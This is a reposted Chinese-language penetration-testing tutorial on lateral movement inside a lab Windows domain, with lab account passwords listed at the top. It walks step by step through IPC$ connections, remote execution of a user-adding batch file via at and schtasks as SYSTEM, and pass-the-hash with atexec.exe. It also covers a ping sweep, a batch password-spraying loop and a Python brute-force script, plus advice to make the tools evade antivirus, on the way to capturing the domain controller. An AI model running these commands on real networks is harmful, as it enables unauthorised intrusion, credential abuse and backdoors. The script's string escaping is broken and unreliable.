環境準備:

2008 r2 webserver
域內 web 服務器
本地管理員賬號密碼 :
.\administraotr:admin!@#45
當前機器域用戶密碼 :
god\webadmin:admin!@#45
2003 x86 fileserver
域內檔案服務器
本地管理員賬號密碼 :
administrator : admin
當前機器域用戶密碼 :
god\fileadmin : Admin12345
2008 r2 x64 dc god.org
主域控機器
域管賬號密碼:
God\administrator : Admin12345
2012 sqlserver
域內資料庫服務器
本地管理員賬號密碼 :
.\administrator:admin!@#45
當前機器域用戶密碼 :
god\dbadmin:admin!@#45
w7 x64 mary-pc
域內個人機
本地管理員賬號密碼 :
.\mary : admin
當前機器域用戶密碼 :
god\mary : admin!@#45
w8.1 x64 jack-pc
域內個人機
本地管理員賬號密碼 :
.\jack : admin
當前機器域用戶密碼 :
god\boss : Admin12345
一、計劃任務
1.介紹
(1)計劃任務簡介
windows 有一個任務計劃程式,可以打開這個程式,創建定時的任務,windows 提供了兩個命令列可以創建計劃任務,分別是 at 和 schtasks,在已知目標系統的用戶明文密碼的基礎上,直接可以在遠程主機上執行命令,
適用系統:
at:< Windows2012
schtasks:>=Windows2012
(2)IPC 簡介
IPC( Internet Process Connection)是共享“命名管道”的資管,它是為了讓進城間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相關的權限,在遠程管路計算機和查看計算機的共享資源時使用,
IPC 連接的簡單使用:
建立 IPC 連接
net use \\IP地址\ipc$ "password" /user:"administrator"
通過 IPC 傳檔案
copy 檔案名 \\IP地址\目錄$
查看對方電腦時間
net time \\IP地址
定時運行程式
at \\IP地址 時間 檔案名
斷開 IPC 連接
net use \\IP地址 /del
建立 IPC 失敗的原因:
- 目標系統不是 Windows NT 或以上的作業系統
- 對方沒有打開IPC$共享
- 對方未開啟139,445埠,或者被防火墻屏蔽
- 輸出命令,賬號密碼有錯誤
(3)利用流程
- 建立 IPC 鏈接到目標主機
- 拷貝要執行的命令腳本到目標主機
- 查看目標時間,創建計劃任務(at、schtasks)定時執行拷貝到的腳本
- 洗掉 IPC 鏈接
2.演示
(1)明文傳遞(at&schtasks)
①at 命令演示
創建 add.bat 檔案,將下列命令寫入,表示創建名為 zzz 密碼為 Admin123$%. 的賬戶
net user zzz Admin123$%. /add
建立 ipc 連接
net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
拷貝執行檔案到目標機器
copy add.bat \\192.168.3.21\c$
添加計劃任務
at \\192.168.3.21 15:47 c:\add.bat

去域控查看發現 zzz 用戶已被成功添加

②schtasks 命令演示
建立ipc連接
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
復制檔案到其 C 盤
copy add.bat \\192.168.3.32\c$
創建 adduser 任務對應執行檔案
schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F
運行 adduser 任務
schtasks /run /s 192.168.3.32 /tn adduser /i
執行命令

進入 win2012 主機查看,任務執行成功,zzz 用戶被成功添加

(2)哈希傳遞(atexec.exe)
以上兩個命令都是建立在明文密碼的傳遞,那哈希值該如何傳遞?
可以使用 impacket 中的 atexec.exe
優點:既可以用明文傳輸也可以使用hash傳輸,能自動提權
缺點:非官方軟體,需要做免殺
exe 版本下載地址:https://github.com/maaaaz/impacket-examples-windows
atexec.exe 使用
atexec.exe ./[用戶名]:[密碼]@[IP] "[命令]"
atexec.exe [域名]/[用戶名]:[密碼]@[IP] "[命令]"
atexec.exe -hashes [密碼的hash值] ./[用戶名]@[IP] "[命令]"
如圖明文和哈希值均可傳遞,并且連接后自動提權

二、批量驗證
以上兩次演示都是建立在我們已經知道密碼的情況下,實戰程序使用mimikatz獲取本機密碼然后檢測其它主機是否也使用了該密碼,這需要我們去批量驗證
1.Windows 批處理檔案
什么是批處理檔案?
批處理檔案(batch file)包含一系列 DOS 命令,通常用于自動執行重復性任務,用戶只需雙擊批處理檔案便可執行任務,而無需重復輸入相同指令,
批處理驗證演示
(1)創建 ip 地址字典
探針域記憶體活主機地址資訊
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL="

創建 ips.txt,將收集的ip地址寫入

(2)創建批處理檔案
創建名為 at_ip.bat 的檔案,將如下命令寫入
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator

該命令含義:對 ips.txt 中的每一個 ip 地址,使用 IPC 進行連接
(3)開始檢測
執行創建好的at_ip.bat腳本
at_ip.bat

192.168.3.331是本機 ip 地址,從圖中可以驗證出192.168.3.29和192.168.3.32這兩臺主機的administrator 的密碼為 admin!@#45
思路:
從上面的演示中,可以得到域橫向移動的思路,獲取到 web 服務器的 administrator 的密碼之后,通過批量 ipc 連接,查看同一個域下有沒有相同的密碼,然后再在其它域內主機中使用 mimikatz 豐富密碼字典,最終對域控制器進行密碼爆破得到域控權限,
獲取到某域主機權限-> minikatz得到密碼(明文,hash)->用到資訊收集里面域用戶的串列當做用戶名字典->用到密碼明文當做字典->嘗試連接->創建計劃任務(at|schtasks)->執行檔案可為后門或者相關命令
2.腳本使用
為什么要使用腳本?
使用windows批處理命令,對多個變數進行遍歷較為麻煩,而我們需要對 ip、用戶名、密碼、哈希一起爆破,就需要利用腳本進行批量處理,
思路:
使用 python 寫腳本,利用第三方軟體將其轉換為 exe 檔案,再對其進行免殺,上傳至
我們控制的主機運行,實作批量驗證
python 代碼實體
點擊查看代碼
import os,time
ips={
#域內ip地址
}
users={
#收集的用戶名
}
passs={
#收集的密碼
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \"+ "\"+ip+'\ipc$ '+mima+' /user:god\'+user
print('--->'+exec+'<---')
os.system(exec)
time.sleep(1)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/500539.html
標籤:其他
上一篇:【CodeForces】Educational Codeforces Round 132 (Rated for Div. 2)
